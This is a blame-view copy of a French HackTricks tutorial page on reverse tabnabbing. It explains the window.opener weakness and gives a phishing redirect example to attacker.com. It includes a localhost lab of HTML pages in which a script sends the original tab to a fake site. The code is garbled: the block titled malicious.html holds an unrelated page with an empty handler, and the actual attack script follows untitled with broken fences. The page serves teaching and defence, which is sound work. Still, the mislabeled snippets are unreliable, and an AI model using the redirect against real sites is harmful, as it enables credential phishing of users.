hacktricks/pentesting-web/reverse-tab-nabbing.md

135 lines
7.2 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 12:41:36 +00:00
# Description
2021-05-01 15:23:19 +00:00
Dans une situation où un **attaquant** peut **contrôler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attaquant** **dirige** ce **lien** vers un site web sous son contrôle (un **site** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **site** **malveillant** pourra **contrôler** la **page** **originale** via l'objet javascript **`window.opener`**.\
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas `rel="noopener"`**, elle peut également être vulnérable.
2021-05-01 15:23:19 +00:00
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'attaquant qui **ressemble à l'original**, afin qu'il puisse **imiter** le **formulaire** de **connexion** du site web original et demander des identifiants à l'utilisateur.
2021-05-01 15:23:19 +00:00
Cependant, notez qu'étant donné que l'**attaquant peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur qu'il contrôle ?)
2021-05-01 15:23:19 +00:00
# Overview
2021-05-01 15:23:19 +00:00
## With back link
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Lien entre les pages parent et enfant lorsque l'attribut de prévention n'est pas utilisé :
2021-05-01 15:23:19 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
## Without back link
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Lien entre les pages parent et enfant lorsque l'attribut de prévention est utilisé :
2021-05-01 15:23:19 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
## Examples <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL** du **site** **original** **change**.
{% code title="vulnerable.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Reverse Tab Nabbing</title>
</head>
<body>
<a href="https://example.com" target="_blank" rel="noopener noreferrer">Click me!</a>
<script>
// This script is used to demonstrate reverse tab nabbing
window.addEventListener('focus', function() {
// Code to execute when the tab is focused
});
</script>
</body>
</html>
{% endcode %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2023-06-03 13:10:46 +00:00
## Propriétés accessibles <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
Dans le scénario où un accès **cross-origin** se produit (accès entre différents domaines), les propriétés de l'instance de la classe JavaScript **window**, référencées par l'objet JavaScript **opener**, auxquelles un site malveillant peut accéder sont limitées aux suivantes :
2021-05-01 15:23:19 +00:00
- **`opener.closed`** : Cette propriété est utilisée pour déterminer si une fenêtre a été fermée, renvoyant une valeur booléenne.
- **`opener.frames`** : Cette propriété fournit l'accès à tous les éléments iframe dans la fenêtre actuelle.
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue par cette propriété.
- **`opener.parent`** : Cette propriété renvoie la fenêtre parente de la fenêtre actuelle.
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
- **`opener.top`** : Cette propriété renvoie la fenêtre de navigateur la plus haute.
2021-05-01 15:23:19 +00:00
Cependant, dans les cas où les domaines sont identiques, le site malveillant a accès à toutes les propriétés exposées par la référence d'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
# Prévention
2021-05-01 15:23:19 +00:00
Les informations de prévention sont documentées dans le [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
## Références
2021-05-01 15:23:19 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}